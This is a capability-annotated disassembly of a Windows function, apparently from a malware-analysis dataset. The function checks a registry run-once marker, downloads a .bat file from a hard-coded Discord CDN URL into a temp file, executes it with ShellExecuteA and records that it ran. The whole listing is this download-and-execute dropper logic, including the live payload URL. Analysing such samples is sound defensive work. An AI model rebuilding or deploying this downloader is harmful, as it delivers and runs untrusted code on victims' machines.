Function at 0x1400011e0
Capabilities:
Check if file exists
Create process on windows
Delete file
Download url
Get common file path
Get file attributes
Move file
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor edi, edi
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rdi
mov r8d, 0xb3
lea rdx, str.https:__cdn.discordapp.com_attachments_1187400010149658707_1190329013579821138_Uni.bat_ex65a16748is658ef248hm208a184862d99ff53acbfda313f447a33dfdb1d49df8392d6fd9c8e3dc91fb3f
lea rcx, [rbp + 0x48]
call fcn.140001fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
lea r8d, [rdi + 0x10]
lea rdx, str.SoftwareYourApp
lea rcx, [rbp + 0x28]
call fcn.140001fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea r8d, [rdi + 8]
lea rdx, str.Executed
lea rcx, [rbp + 8]
call fcn.140001fb0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
lea r8d, [rdi + 3]
lea rdx, [0x14000458c]
lea rcx, [rbp - 0x40]
call fcn.140001fb0
nop
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r12d, 1
mov r9d, r12d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r13, qword [rbp + 0x60]
mov r15, qword [rbp + 0x48]
lea rbx, [rdi - 1]
test eax, eax
jne 0x140001421
mov dword [rbp - 0x20], 0xff
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x78]
test eax, eax
jne 0x140001417
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea rax, [rbp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140001356
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x18]
call fcn.140001fb0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x18]
mov rdi, qword [rbp - 0x18]
mov rsi, qword [rbp]
cmp rsi, 0xf
cmova rcx, rdi
mov r8, qword [rbp - 8]
cmp r8, qword [rbp - 0x30]
jne 0x1400013a8
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400013a8
movzx r14d, r12b
jmp 0x1400013ab
xor r14b, r14b
cmp rsi, 0xf
jbe 0x1400013e5
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400013dd
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400022ac
test r14b, r14b
je 0x14000141f
lea rdx, str.Program_has_already_been_executed._Exiting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001da0
mov rcx, rax
lea rdx, [0x140001f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edi, edi
mov r12d, edi
jmp 0x140001a4b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001421
xor edi, edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
mov eax, 0x66666667
imul r9d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
xorps xmm0, xmm0
cmp r9d, ecx
jne 0x140001491
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 0xb3
lea rdx, str.https:__cdn.discordapp.com_attachments_1187400010149658707_1190329013579821138_Uni.bat_ex65a16748is658ef248hm208a184862d99ff53acbfda313f447a33dfdb1d49df8392d6fd9c8e3dc91fb3f
lea rcx, [rsp + 0x58]
call fcn.140001fb0
lea rdx, [rsp + 0x58]
mov edi, r12d
mov dword [rsp + 0x50], r12d
jmp 0x14000157c
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
lea r14, [rbp + 0x48]
cmp r13, 0xf
cmova r14, r15
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x58]
cmp rsi, rdi
ja 0x140001ba4
mov qword [rbp - 0x68], 0xf
cmp rsi, 0xf
ja 0x1400014df
mov qword [rbp - 0x70], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x80], xmm0
jmp 0x14000156f
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x14000151b
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002270
mov rcx, rax
test rax, rax
je 0x140001a3d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001554
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001546
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001baa
jmp 0x1400014f9
test rcx, rcx
je 0x140001552
call fcn.140002270
jmp 0x140001554
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp - 0x80]
mov edi, 2
mov dword [rsp + 0x50], edi
lea rcx, [rbp - 0x18]
call fcn.140001c10
nop
test dil, 2
je 0x1400015ce
and edi, 0xfffffffd
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1400015ce
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
nop
test dil, 1
je 0x140001614
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140001614
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000160f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000160f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x180]
xor r8d, r8d
lea rdx, [0x140004590]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1400019e7
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor edi, edi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp + 0x180]
nop
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001670
mov r8, rbx
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x60]
call fcn.140001fb0
nop
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova r8, qword [rbp - 0x60]
lea rdx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rdx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
jns 0x140001711
lea rdx, str.Error_downloading_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001da0
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001737
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001711
mov rax, qword [rbp - 0x50]
lea r8, [rax - 3]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
lea rcx, [rsp + 0x58]
call fcn.140001fb0
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x1400017c1
lea rax, [rcx + 3]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 3
lea rdx, [0x140004594]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x58]
jmp 0x1400017d9
mov qword [rsp + 0x20], 3
mov edx, 3
lea rcx, [rsp + 0x58]
call fcn.1400020b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140001846
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001841
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001841
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r8, qword [rbp - 0x80]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000191d
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
mov eax, dword [rbp - 0x30]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, r12d
xor r8d, r8d
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000195b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001956
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001956
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
movdqa xmm0, xmmword [0x1400045f0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400019ab
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400019e2
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a3d
call fcn.1400022ac
mov r12d, edi
jmp 0x140001a4b
lea rdx, str.Error_generating_temporary_file_name.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001da0
mov rcx, rax
lea rdx, [0x140001f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140001a49
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
xor edi, edi
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140001a89
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140001ad7
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ad2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
movdqa xmm0, xmmword [0x1400045f0]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140001b26
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b21
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400022ac
movdqa xmm0, xmmword [0x1400045f0]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
cmp r13, 0xf
jbe 0x140001b71
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001b69
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400022ac
mov eax, r12d
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.140002250
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3